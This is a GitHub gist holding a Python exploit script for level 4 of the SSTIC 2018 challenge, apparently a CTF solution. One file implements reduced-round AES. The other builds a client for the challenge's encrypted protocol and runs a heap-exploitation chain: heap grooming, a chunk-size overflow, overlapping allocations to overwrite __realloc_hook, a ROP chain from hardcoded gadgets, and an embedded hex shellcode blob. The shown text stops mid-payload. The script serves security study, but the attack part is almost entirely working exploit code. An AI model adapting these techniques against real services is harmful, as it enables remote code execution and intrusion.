Last active
June 17, 2018 09:33
-
-
Save lucasg/ee9a7b9494543429a1389f7900c7e3ef to your computer and use it in GitHub Desktop.
SSTIC 2018 Level 4 exploit script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sbox = (0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, | |
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, | |
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, | |
0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, | |
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, | |
0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, | |
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, | |
0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, | |
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, | |
0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, | |
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, | |
0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, | |
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, | |
0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, | |
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, | |
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, | |
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, | |
0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, | |
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, | |
0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, | |
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, | |
0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, | |
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, | |
0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, | |
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, | |
0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, | |
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, | |
0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, | |
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, | |
0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, | |
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, | |
0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16) | |
invsbox = [] | |
for i in range(256): | |
invsbox.append(sbox.index(i)) | |
def SubBytes(state): | |
state = [list(c) for c in state] | |
for i in range(len(state)): | |
row = state[i] | |
for j in range(len(row)): | |
state[i][j] = sbox[state[i][j]] | |
return state | |
def InvSubBytes(state): | |
state = [list(c) for c in state] | |
for i in range(len(state)): | |
row = state[i] | |
for j in range(len(row)): | |
state[i][j] = invsbox[state[i][j]] | |
return state | |
def rowsToCols(state): | |
cols = [] | |
#convert from row representation to column representation | |
cols.append([state[0][0], state[1][0], state[2][0], state[3][0]]) | |
cols.append([state[0][1], state[1][1], state[2][1], state[3][1]]) | |
cols.append([state[0][2], state[1][2], state[2][2], state[3][2]]) | |
cols.append([state[0][3], state[1][3], state[2][3], state[3][3]]) | |
return cols | |
def colsToRows(state): | |
rows = [] | |
#convert from column representation to row representation | |
rows.append([state[0][0], state[1][0], state[2][0], state[3][0]]) | |
rows.append([state[0][1], state[1][1], state[2][1], state[3][1]]) | |
rows.append([state[0][2], state[1][2], state[2][2], state[3][2]]) | |
rows.append([state[0][3], state[1][3], state[2][3], state[3][3]]) | |
return rows | |
########### | |
# Key schedule functions | |
########### | |
# key schedule helper function | |
def RotWord(word): | |
r = [] | |
r.append(word[1]) | |
r.append(word[2]) | |
r.append(word[3]) | |
r.append(word[0]) | |
return r | |
# key schedule helper function | |
def SubWord(word): | |
r = [] | |
r.append(sbox[word[0]]) | |
r.append(sbox[word[1]]) | |
r.append(sbox[word[2]]) | |
r.append(sbox[word[3]]) | |
return r | |
# key schedule helper function | |
def XorWords(word1, word2): | |
r = [] | |
for i in range(len(word1)): | |
r.append(word1[i] ^ word2[i]) | |
return r | |
def printWord(word): | |
str = "" | |
for i in range(len(word)): | |
str += "{0:02x}".format(word[i]) | |
print(str) | |
Rcon = [[0x01,0x00,0x00,0x00], [0x02,0x00,0x00,0x00], [0x04,0x00,0x00,0x00], | |
[0x08,0x00,0x00,0x00], [0x10,0x00,0x00,0x00], [0x20,0x00,0x00,0x00], | |
[0x40,0x00,0x00,0x00], [0x80,0x00,0x00,0x00],[0x1B,0x00,0x00,0x00], | |
[0x36,0x00,0x00,0x00]] | |
# key is a 4*Nk list of bytes, w is a Nb*(Nr+1) list of words | |
# since we're doing 4 rounds of AES-128, this means that | |
# key is 16 bytes and w is 4*(4+1) words | |
def KeyExpansion(key): | |
Nk = 4 | |
Nb = 4 | |
Nr = 4 | |
temp = [0,0,0,0] | |
w=[] | |
for i in range(Nb*(Nr+1)): | |
w.append([0,0,0,0]) | |
i = 0 | |
#the first word is the master key | |
while i<Nk: | |
w[i] = [key[4*i],key[4*i+1], key[4*i+2], key[4*i+3]] | |
#printWord(w[i]) | |
i = i+1 | |
i=Nk | |
while i < (Nb*(Nr+1)): | |
#print "Round ", i | |
temp = w[i-1] | |
#printWord(temp) | |
if (i % Nk) == 0: | |
#print "Rcon: ", printWord(Rcon[i/Nk-1]) | |
#printWord(RotWord(temp)) | |
#printWord(SubWord(RotWord(temp))) | |
temp = XorWords(SubWord(RotWord(temp)), Rcon[int(i/Nk-1)]) | |
#print "After XOR with Rcon:" | |
#printWord(temp) | |
#printWord(temp) | |
#printWord(w[i-Nk]) | |
w[i] = XorWords(w[i-Nk], temp) | |
i = i+ 1 | |
return w | |
def Shiftrows(state): | |
state = colsToRows(state) | |
#move 1 | |
state[1].append(state[1].pop(0)) | |
#move 2 | |
state[2].append(state[2].pop(0)) | |
state[2].append(state[2].pop(0)) | |
#move 3 | |
state[3].append(state[3].pop(0)) | |
state[3].append(state[3].pop(0)) | |
state[3].append(state[3].pop(0)) | |
return rowsToCols(state) | |
def InvShiftrows(state): | |
state = colsToRows(state) | |
#move 1 | |
state[1].insert(0,state[1].pop()) | |
#move 2 | |
state[2].insert(0,state[2].pop()) | |
state[2].insert(0,state[2].pop()) | |
#move 3 | |
state[3].insert(0,state[3].pop()) | |
state[3].insert(0,state[3].pop()) | |
state[3].insert(0,state[3].pop()) | |
return rowsToCols(state) | |
#converts integer x into a list of bits | |
#least significant bit is in index 0 | |
def byteToBits(x): | |
r = [] | |
while x>0: | |
if (x%2): | |
r.append(1) | |
else: | |
r.append(0) | |
x = x>>1 | |
#the result should have 8 bits, so pad if necessary | |
while len(r) < 8: | |
r.append(0) | |
return r | |
#inverse of byteToBits | |
def bitsToByte(x): | |
r = 0 | |
for i in range(8): | |
if x[i] == 1: | |
r += 2**i | |
return r | |
# Galois Multiplication | |
def galoisMult(a, b): | |
p = 0 | |
hiBitSet = 0 | |
for i in range(8): | |
if b & 1 == 1: | |
p ^= a | |
hiBitSet = a & 0x80 | |
a <<= 1 | |
if hiBitSet == 0x80: | |
a ^= 0x1b | |
b >>= 1 | |
return p % 256 | |
#single column multiplication | |
def mixColumn(column): | |
temp = [] | |
for i in range(len(column)): | |
temp.append(column[i]) | |
column[0] = galoisMult(temp[0],2) ^ galoisMult(temp[3],1) ^ \ | |
galoisMult(temp[2],1) ^ galoisMult(temp[1],3) | |
column[1] = galoisMult(temp[1],2) ^ galoisMult(temp[0],1) ^ \ | |
galoisMult(temp[3],1) ^ galoisMult(temp[2],3) | |
column[2] = galoisMult(temp[2],2) ^ galoisMult(temp[1],1) ^ \ | |
galoisMult(temp[0],1) ^ galoisMult(temp[3],3) | |
column[3] = galoisMult(temp[3],2) ^ galoisMult(temp[2],1) ^ \ | |
galoisMult(temp[1],1) ^ galoisMult(temp[0],3) | |
return column | |
def MixColumns(cols): | |
#cols = rowsToCols(state) | |
r = [0,0,0,0] | |
for i in range(len(cols)): | |
r[i] = mixColumn(cols[i]) | |
return r | |
def mixColumnInv(column): | |
temp = [] | |
for i in range(len(column)): | |
temp.append(column[i]) | |
column[0] = galoisMult(temp[0],0xE) ^ galoisMult(temp[3],0x9) ^ galoisMult(temp[2],0xD) ^ galoisMult(temp[1],0xB) | |
column[1] = galoisMult(temp[1],0xE) ^ galoisMult(temp[0],0x9) ^ galoisMult(temp[3],0xD) ^ galoisMult(temp[2],0xB) | |
column[2] = galoisMult(temp[2],0xE) ^ galoisMult(temp[1],0x9) ^ galoisMult(temp[0],0xD) ^ galoisMult(temp[3],0xB) | |
column[3] = galoisMult(temp[3],0xE) ^ galoisMult(temp[2],0x9) ^ galoisMult(temp[1],0xD) ^ galoisMult(temp[0],0xB) | |
return column | |
def InvMixColumns(cols): | |
#cols = rowsToCols(state) | |
r = [0,0,0,0] | |
for i in range(len(cols)): | |
r[i] = mixColumnInv(cols[i]) | |
return r | |
#state s, key schedule ks, round r | |
def AddRoundKey(s,ks,r): | |
for i in range(len(s)): | |
for j in range(len(s[i])): | |
s[i][j] = s[i][j] ^ ks[r*4+i][j] | |
return s | |
######## | |
# Encrypt functions | |
######### | |
# for rounds 1-3 | |
def oneRound(s, ks, r): | |
s = SubBytes(s) | |
s = Shiftrows(s) | |
s = MixColumns(s) | |
s = AddRoundKey(s,ks,r) | |
return s | |
def oneRoundDecrypt(s, ks, r): | |
s = AddRoundKey(s,ks,r) | |
s = InvMixColumns(s) | |
s = InvShiftrows(s) | |
s = InvSubBytes(s) | |
return s | |
# round 4 (no MixColumn operation) | |
def finalRound(s, ks, r): | |
s = SubBytes(s) | |
s = Shiftrows(s) | |
s = AddRoundKey(s,ks,r) | |
return s | |
def finalRoundDecrypt(s, ks, r): | |
s = AddRoundKey(s,ks,r) | |
s = InvShiftrows(s) | |
s = InvSubBytes(s) | |
return s | |
# Put it all together | |
def encrypt4rounds(message, key): | |
s = [] | |
#convert plaintext to state | |
s.append(message[:4]) | |
s.append(message[4:8]) | |
s.append(message[8:12]) | |
s.append(message[12:16]) | |
#printState(s) | |
#compute key schedule | |
ks = KeyExpansion(key) | |
#apply whitening key | |
s = AddRoundKey(s,ks,0) | |
#printState(s) | |
c = oneRound(s, ks, 1) | |
c = oneRound(c, ks, 2) | |
c = oneRound(c, ks, 3) | |
#printState(c) | |
c = finalRound(c, ks, 4) | |
#printState(c) | |
#convert back to 1d list | |
output = [] | |
for i in range(len(c)): | |
for j in range(len(c[i])): | |
output.append(c[i][j]) | |
return output | |
def swapRows(rows): | |
result = [] | |
for i in range(4): | |
for j in range(4): | |
result.append(rows[j*4+i]) | |
return result | |
def decrypt4rounds(message, key): | |
#message = swapRows(message) | |
s = [] | |
#convert plaintext to state | |
s.append(message[:4]) | |
s.append(message[4:8]) | |
s.append(message[8:12]) | |
s.append(message[12:16]) | |
#printState(s) | |
#compute key schedule | |
ks = KeyExpansion(key) | |
#apply whitening key | |
#printState(s) | |
s = finalRoundDecrypt(s, ks, 4) | |
c = oneRoundDecrypt(s, ks, 3) | |
c = oneRoundDecrypt(c, ks, 2) | |
c = oneRoundDecrypt(c, ks, 1) | |
c = AddRoundKey(c,ks,0) | |
#printState(c) | |
#printState(c) | |
#convert back to 1d list | |
output = [] | |
for i in range(len(c)): | |
for j in range(len(c[i])): | |
output.append(c[i][j]) | |
return output |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import argparse | |
import os | |
import sys | |
import socket | |
import binascii | |
import time | |
import logging | |
from enum import Enum | |
import rsa | |
from fancy_aes import decrypt4rounds, encrypt4rounds | |
############################################################################# | |
#### CRYPTO UTILS | |
############################################################################# | |
BLOCK_LEN = 16 | |
IV_LEN = 16 | |
# pack a 2048-bit rsa key | |
def pack_rsa_key(key): | |
return struct.pack(">QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", | |
(key >> 64*31) & 0xffffffffffffffff, | |
(key >> 64*30) & 0xffffffffffffffff, | |
(key >> 64*29) & 0xffffffffffffffff, | |
(key >> 64*28) & 0xffffffffffffffff, | |
(key >> 64*27) & 0xffffffffffffffff, | |
(key >> 64*26) & 0xffffffffffffffff, | |
(key >> 64*25) & 0xffffffffffffffff, | |
(key >> 64*24) & 0xffffffffffffffff, | |
(key >> 64*23) & 0xffffffffffffffff, | |
(key >> 64*22) & 0xffffffffffffffff, | |
(key >> 64*21) & 0xffffffffffffffff, | |
(key >> 64*20) & 0xffffffffffffffff, | |
(key >> 64*19) & 0xffffffffffffffff, | |
(key >> 64*18) & 0xffffffffffffffff, | |
(key >> 64*17) & 0xffffffffffffffff, | |
(key >> 64*16) & 0xffffffffffffffff, | |
(key >> 64*15) & 0xffffffffffffffff, | |
(key >> 64*14) & 0xffffffffffffffff, | |
(key >> 64*13) & 0xffffffffffffffff, | |
(key >> 64*12) & 0xffffffffffffffff, | |
(key >> 64*11) & 0xffffffffffffffff, | |
(key >> 64*10) & 0xffffffffffffffff, | |
(key >> 64*9) & 0xffffffffffffffff, | |
(key >> 64*8) & 0xffffffffffffffff, | |
(key >> 64*7) & 0xffffffffffffffff, | |
(key >> 64*6) & 0xffffffffffffffff, | |
(key >> 64*5) & 0xffffffffffffffff, | |
(key >> 64*4) & 0xffffffffffffffff, | |
(key >> 64*3) & 0xffffffffffffffff, | |
(key >> 64*2) & 0xffffffffffffffff, | |
(key >> 64*1) & 0xffffffffffffffff, | |
(key >> 64*0) & 0xffffffffffffffff, | |
) | |
# unpack a 2048-bit rsa key buffer | |
def unpack_rsa_key(key_bytes): | |
key = 0 | |
for i in range(32): | |
k = struct.unpack(">Q", key_bytes[i*8:(i+1)*8])[0] | |
key = (key<<64) + k | |
return key | |
############################################################################# | |
#### Message forging | |
############################################################################# | |
class JobEnum(Enum): | |
READ = 4 | |
WRITE = 2 | |
EXEC = 1 | |
class FcPacket(object): | |
HEADER_FORMAT = "QQQQII" | |
HEADER_SIZE = struct.calcsize(HEADER_FORMAT) | |
def __init__ (self): | |
self.marker = 0xd1d3c0de41414141 | |
self.babar = 0x3730307261626162 | |
self.src_node = 0xdeadbeef | |
self.dst_node = 0 | |
self.command = 0 | |
self.sz = 0 | |
self.payload = None | |
@classmethod | |
def from_buffer(cls, buffer): | |
o = cls() | |
header_size = FcPacket.HEADER_SIZE | |
o.marker,o.babar,o.src_node,o.dst_node,o.command,o.sz = struct.unpack(FcPacket.HEADER_FORMAT, buffer[0:header_size]) | |
if (len(buffer) > header_size) : # and (self.sz == len(buffer) - header_size): | |
o.payload = buffer[header_size:] | |
return o | |
def pack(self): | |
header = struct.pack(FcPacket.HEADER_FORMAT, | |
self.marker, | |
self.babar, | |
self.src_node, | |
self.dst_node, | |
self.command, | |
self.sz | |
) | |
buffer = header | |
if self.payload: | |
buffer = header + self.payload | |
return buffer | |
def __str__(self): | |
return "\n".join([ | |
"Packet:", | |
" -marker : %s" % binascii.unhexlify("%x" % self.marker), | |
" -babar : %s" % binascii.unhexlify("%x" % self.babar)[::-1], | |
" -src_node : 0x%x" % self.src_node, | |
" -dst_node : 0x%x" % self.dst_node, | |
" -cmd : 0x%x" % self.command, | |
" -sz : 0x%x" % self.sz, | |
" -payload : 0x%s" % self.payload, | |
]) | |
class FancyNounours(object): | |
def __init__(self, address, port, _id, key = None): | |
self._address = address | |
self._port = port | |
self._socket = None | |
# 256 bits buffers | |
self._enc_key = None | |
self._dec_key = key | |
if not self._dec_key: | |
self._dec_key = struct.pack("B", _id)*16 | |
self._iv = 0 | |
self.src_node = _id * 0x100000 | |
def connect(self): | |
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self._socket.connect((self._address, self._port)) | |
def close(self): | |
self._socket.close() | |
def do_rsa_key_exchange(self): | |
(client_pub, client_priv) = rsa.newkeys(2048) | |
# send our public key | |
packet_client_pub = pack_rsa_key(client_pub.n) | |
self._socket.send(packet_client_pub) | |
# receive server public key | |
packed_server_pub = self._socket.recv(2048) | |
print(packed_server_pub) | |
server_pub = rsa.PublicKey(unpack_rsa_key(packed_server_pub), 0x10001) | |
# send our decoding key to the server | |
dec_key = rsa.encrypt(self._dec_key, server_pub) | |
self._socket.send(dec_key) | |
# receive server encoding key | |
enc_key = self._socket.recv(2048) | |
self._enc_key = rsa.decrypt(enc_key, client_priv) | |
def mesh_agent_peering(self, wait_for_response = True, src_node = None): | |
packet = FcPacket() | |
packet.command = 0x10000 | |
packet.sz = FcPacket.HEADER_SIZE | |
packet.payload = None | |
packet.src_node = src_node | |
if not src_node : | |
packet.src_node = self.src_node | |
self.src_node = self.src_node + 0x10 | |
logging.debug("sending peering packet with id : %x" % packet.src_node) | |
self._scomm_send(packet.pack()) | |
if wait_for_response: | |
iv, peering_response_buffer = self._scomm_recv() | |
return peering_response_buffer, FcPacket.from_buffer(peering_response_buffer) | |
return None, None | |
def mesh_trig_payload(self, payload, gadget): | |
packet = FcPacket() | |
packet.command = 0x10000 | |
packet.sz = FcPacket.HEADER_SIZE + len(payload) | |
packet.payload = payload | |
packet.src_node = gadget # add rsp, 0x18, ret; | |
self._scomm_send(packet.pack()) | |
def mesh_agent_dupl_addr(self): | |
packet = FcPacket() | |
packet.command = 0x20000 | |
packet.sz = FcPacket.HEADER_SIZE | |
packet.payload = None | |
self._scomm_send(packet.pack()) | |
iv, peering_response_buffer = self._scomm_recv() | |
return peering_response_buffer, FcPacket.from_buffer(peering_response_buffer) | |
def mesh_send_ping(self, message): | |
packet = FcPacket() | |
packet.command = 0x100 | 0x1000000 | |
packet.sz = len(message) | |
packet.payload = message | |
packet.src_node = 0x4100000041000000 | |
packet.dst_node = 0 | |
packet.babar = struct.unpack("Q", b"CCCCDDD\x00")[0] | |
packet.iv = 0x4444444444444444 | |
self._scomm_send(packet.pack()) | |
iv, ping_response_buffer = self._scomm_recv() | |
packet = None | |
if len(ping_response_buffer) > FcPacket.HEADER_SIZE: | |
packet = FcPacket.from_buffer(ping_response_buffer) | |
return ping_response_buffer, packet | |
def mesh_send_job(self, job, job_enum ): | |
packet = FcPacket() | |
packet.command = 0x200 | 0x1000000 | 1 | |
packet.sz = FcPacket.HEADER_SIZE + len(job.encode('ascii')) | |
packet.payload = job.encode('ascii') | |
self._scomm_send(packet.pack()) | |
def _scomm_send(self, message): | |
ciphertext = self._encrypt_message(message) | |
self._socket.send(struct.pack("I", len(ciphertext))) | |
self._socket.send(ciphertext) | |
def _scomm_recv(self): | |
raw_len = self._socket.recv(4) | |
buffer_len = struct.unpack("I", raw_len)[0] | |
logging.debug("[_scomm_recv] length received : %d" % buffer_len) | |
ciphertext = b"" | |
while len(ciphertext) < buffer_len: | |
cipher_chunk = self._socket.recv(buffer_len - len(ciphertext)) | |
ciphertext += cipher_chunk | |
return self._decrypt_message(ciphertext) | |
def _encrypt_message(self, message): | |
current_iv = struct.pack(">QQ", (self._iv >> 64), self._iv) | |
self._iv += 1 | |
payload = b"" | |
prev_block = current_iv | |
# convert bytes buffer into array | |
encoding_key = [x for x in self._enc_key] | |
# pad to a multiple of block len | |
message_len = len(message) | |
message_pad = message_len % BLOCK_LEN | |
message += b"\x00" * message_pad | |
message_len += message_pad | |
for block_counter in range(int(message_len//BLOCK_LEN)): | |
block = message[block_counter*BLOCK_LEN : (block_counter+1)*BLOCK_LEN] | |
xor_pt = [block[i] ^ prev_block[i] for i in range(len(block))] | |
ct = encrypt4rounds(xor_pt, encoding_key) | |
prev_block = ct | |
payload += bytes(ct) | |
return current_iv + payload | |
def _decrypt_message(self, message): | |
if len(message) < IV_LEN: | |
raise ValueError("encrypted message not long enough : %x < 16" % len(message)) | |
iv = message[0:IV_LEN] | |
payload = message[IV_LEN:] | |
plaintext = b"" | |
# convert bytes buffer into array | |
decoding_key = [x for x in self._dec_key] | |
prev_block = iv | |
for block_counter in range(int((len(message) - IV_LEN) // BLOCK_LEN)): | |
block = [x for x in payload[block_counter*BLOCK_LEN : (block_counter+1)*BLOCK_LEN]] | |
pt = decrypt4rounds(block, decoding_key) | |
xor_pt = [pt[i] ^ prev_block[i] for i in range(len(pt))] | |
prev_block = block | |
plaintext += bytes(xor_pt) | |
return iv, plaintext | |
############################################################################# | |
#### Attack script | |
############################################################################# | |
def create_0xb1_chunk(fc, top = 0x2000): | |
# 0x41 -> 0x61 | |
current_top = top | |
for i in range(11): | |
buf, answer = fc.mesh_agent_peering(wait_for_response=False) | |
buf, answer = fc.mesh_agent_peering(wait_for_response=False, src_node= current_top | 0x01) | |
# 0x91 -> 0xb1 | |
current_top = current_top - 0x60 | |
for i in range(5): | |
buf, answer = fc.mesh_agent_peering(wait_for_response=False) | |
current_top = current_top - 0x60 | |
for i in range(3): | |
buf, answer = fc.mesh_agent_peering(wait_for_response=False) | |
def create_0x61_chunk(fc, top = None): | |
# 0x41 -> 0x61 | |
for i in range(11): | |
buf, answer = fc.mesh_agent_peering(wait_for_response=False) | |
# This is not the __realloc_hook address, this is | |
# the allocation address needed to overwrite __realloc_hook address | |
# with controlled content (and not break anything) | |
REALLOC_HOOK_OVERWRITE_ALLOC_ADDRESS = 0x6d76b8 | |
# Function address | |
DL_MAKE_STACK_EXECUTABLE_ADDRESS = 0x489b20 | |
LIBC_STACK_END_ADDRESS = 0x6d6c90 | |
__STACK_PROT_ADDRESS = 0x6d6f50 | |
MEMCPY_ADDRESS = 0x4004a0 | |
MMAP_ADDRESS = 0x455ce9 # we don't use the start of the function at 0x0455ce0 since we want to skip a check on r9 | |
# the following address is used to store temporary values | |
DATA_CAVE_ADDRESS = 0x6D8350 | |
# Gadgets | |
RET_GADGET = 0x423f8c # NOP | |
INT3_GADGET = 0x04a61b8 # debugbreak | |
# these two gadgets allow us to jump back on our packet payload | |
ADD_RSP_0x68_GADGET = 0x0454d7b | |
ADD_RSP_0x18_GADGET = 0x0411bf1 | |
# Gadgets | |
POP_RDI_RET = 0x0400766 | |
POP_RSI_RET = 0x04017dc | |
MOV_POI_RDI_RSI = 0x4954ba | |
MOV_RDX_POI_RSI_MOV_POI_RDI_RDX = 0x44D880 | |
LEA_RCX_RDX_MINUS_8 = 0x429ae5 | |
SHR_R9_CL = 0x494340 | |
JMP_RAX = 0x428c90 | |
# Useful constants | |
MAP_ANONYMOUS = 0x20 | |
MAP_SHARED = 0x01 | |
PROT_READ = 0x01 | |
PROT_WRITE = 0x02 | |
PROT_EXEC = 0x04 | |
def prepare_shellcode(): | |
shellcode_hexdump = "".join([ | |
"55 48 89 E5 48 81 EC B0 10 00 00 B8 00 B0 42 00", | |
"89 C1 B8 20 FE 47 00 89 C2 B8 D0 4E 45 00 89 C6", | |
"B8 10 4D 45 00 89 C7 B8 B0 71 45 00 41 89 C0 B8", | |
"F0 70 45 00 41 89 C1 4C 89 4D F8 4C 89 45 F0 48", | |
"89 7D E8 48 89 75 E0 48 89 55 D8 48 89 4D D0 4C", | |
"89 A5 B8 EF FF FF 48 81 85 B8 EF FF FF 28 02 00", | |
"00 B8 00 03 00 00 89 C2 31 C9 48 8D B5 C0 EF FF", | |
"FF 48 8B BD B8 EF FF FF 8B 07 89 45 CC 48 8B 7D", | |
"F0 8B 45 CC 48 89 BD 90 EF FF FF 89 C7 4C 8B 85", | |
"90 EF FF FF 41 FF D0 48 89 85 88 EF FF FF C7 85", | |
"B4 EF FF FF 00 00 00 00 81 BD B4 EF FF FF 00 03", | |
"00 00 0F 8D 23 00 00 00 48 63 85 B4 EF FF FF C6", | |
"84 05 C0 EF FF FF 00 8B 85 B4 EF FF FF 83 C0 01", | |
"89 85 B4 EF FF FF E9 CD FF FF FF B8 00 03 00 00", | |
"89 C2 31 C9 48 8D B5 C0 EF FF FF 48 8B 7D F8 8B", | |
"45 CC 48 89 BD 80 EF FF FF 89 C7 4C 8B 85 80 EF", | |
"FF FF 41 FF D0 89 C1 89 8D B0 EF FF FF 83 BD B0", | |
"EF FF FF 00 0F 8D 05 00 00 00 E9 38 01 00 00 83", | |
"BD B0 EF FF FF 00 0F 8E 26 01 00 00 0F BE 85 C0", | |
"EF FF FF 83 F8 00 0F 85 55 00 00 00 31 F6 48 8D", | |
"85 C0 EF FF FF 48 8B 4D E8 48 83 C0 01 48 89 C7", | |
"FF D1 BE 00 10 00 00 89 F2 48 8D 8D C0 EF FF FF", | |
"89 85 AC EF FF FF 48 8B 7D E0 8B 85 AC EF FF FF", | |
"48 89 BD 78 EF FF FF 89 C7 48 89 CE 48 8B 8D 78", | |
"EF FF FF FF D1 48 89 85 70 EF FF FF E9 83 00 00", | |
"00 0F BE 85 C0 EF FF FF 83 F8 01 0F 85 55 00 00", | |
"00 BE 00 00 01 00 48 8D 85 C0 EF FF FF 48 8B 4D", | |
"E8 48 83 C0 01 48 89 C7 FF D1 BA 00 03 00 00 48", | |
"8D 8D C0 EF FF FF 89 85 A8 EF FF FF 48 8B 7D D8", | |
"8B 85 A8 EF FF FF 48 89 BD 68 EF FF FF 89 C7 48", | |
"89 CE 48 8B 8D 68 EF FF FF FF D1 89 85 A4 EF FF", | |
"FF E9 19 00 00 00 48 C7 85 98 EF FF FF 00 00 00", | |
"00 B0 00 FF 95 98 EF FF FF 89 85 64 EF FF FF E9", | |
"00 00 00 00 B8 00 03 00 00 89 C2 31 C9 48 8D B5", | |
"C0 EF FF FF 48 8B 7D F0 8B 45 CC 48 89 BD 58 EF", | |
"FF FF 89 C7 4C 8B 85 58 EF FF FF 41 FF D0 48 83", | |
"F8 00 0F 8D 05 00 00 00 E9 0A 00 00 00 E9 00 00", | |
"00 00 E9 47 FE FF FF 31 C0 48 81 C4 B0 10 00 00", | |
"5D C3 66 66 66 66 66 2E 0F 1F 84 00 00 00 00 00", | |
]) | |
# remove space | |
shellcode_hexdump = shellcode_hexdump.replace(" ", "") | |
# convert to byte array | |
shellcode = binascii.unhexlify(shellcode_hexdump) | |
return shellcode | |
def do_pown(ip, port): | |
shellcode = prepare_shellcode() | |
# prepare clients | |
fc1 = FancyNounours(ip, port, 1) | |
fc1.connect() | |
fc1.do_rsa_key_exchange() | |
time.sleep(1) | |
fc2 = FancyNounours(ip, port, 2) | |
fc2.connect() | |
fc2.do_rsa_key_exchange() | |
time.sleep(1) | |
fc3 = FancyNounours(ip, port, 3) | |
fc3.connect() | |
fc3.do_rsa_key_exchange() | |
time.sleep(1) | |
# attack chunk | |
buf, answer = fc1.mesh_agent_peering() | |
create_0x61_chunk(fc1) | |
time.sleep(2) | |
# target chunk | |
buf, answer = fc2.mesh_agent_peering() | |
create_0x61_chunk(fc2) | |
time.sleep(2) | |
# gap chunk | |
buf, answer = fc3.mesh_agent_peering() | |
create_0xb1_chunk(fc3, top = 0x20000) | |
time.sleep(2) | |
# client chunk | |
fc4 = FancyNounours(ip, port, 4) | |
fc4.connect() | |
fc4.do_rsa_key_exchange() | |
# guard chunk | |
buf, answer = fc4.mesh_agent_peering() | |
create_0x61_chunk(fc4) | |
print("initial alignement") | |
input() | |
print("free client chunk") | |
fc4.close() | |
input() | |
print("overflow chunk size") | |
fc1.mesh_agent_peering(wait_for_response=False, src_node=0x241) | |
input() | |
print("free target chunk") | |
fc2.close() | |
input() | |
print("allocate 0x241") | |
fc6 = FancyNounours(ip, port, 6) | |
fc6.connect() | |
fc6.do_rsa_key_exchange() | |
fc6.mesh_agent_peering() | |
print("allocate fc6 done ") | |
input() | |
print("allocate overlapping 0x241 inplace of target chunk") | |
# overlapping and overwriting next free chunk address | |
fc7_key = struct.pack(">QQ", 0x241, REALLOC_HOOK_OVERWRITE_ALLOC_ADDRESS << 32) | |
fc7 = FancyNounours(ip, port, 7, key = fc7_key) | |
fc7.connect() | |
fc7.do_rsa_key_exchange() | |
fc7.mesh_agent_peering() | |
print("allocate fc7 done ") | |
input() | |
print("allocate fc8 ") | |
zero_expanded_key = b"\x62\x63\x63\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
fc8 = FancyNounours(ip, port, 8, key = zero_expanded_key) | |
fc8.connect() | |
fc8.do_rsa_key_exchange() | |
buf, answer = fc8.mesh_agent_peering() | |
print("allocate fc8 done ") | |
input() | |
print("allocate fc9 ") | |
stack_fixer_gadget = ADD_RSP_0x68_GADGET # add rsp, 0x68; ret | |
fc9 = FancyNounours(ip, port, 9, key = struct.pack("B", 0)*8 + struct.pack("Q", stack_fixer_gadget)) | |
fc9.connect() | |
fc9.do_rsa_key_exchange() | |
print("allocate fc9 done ") | |
buf, answer = fc9.mesh_agent_peering() | |
for i in range(7): | |
buf, answer = fc9.mesh_agent_peering(wait_for_response=False) | |
# trig realloc -> jmp 0x414141414141 | |
payload = b"".join([ | |
struct.pack("Q", 0x00000), # unused | |
# struct.pack("Q", INT3_GADGET), # int3 | |
struct.pack("Q", RET_GADGET), # NOP | |
# rcx = MAP_ANONYMOUS | MAP_SHARED | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", DATA_CAVE_ADDRESS), | |
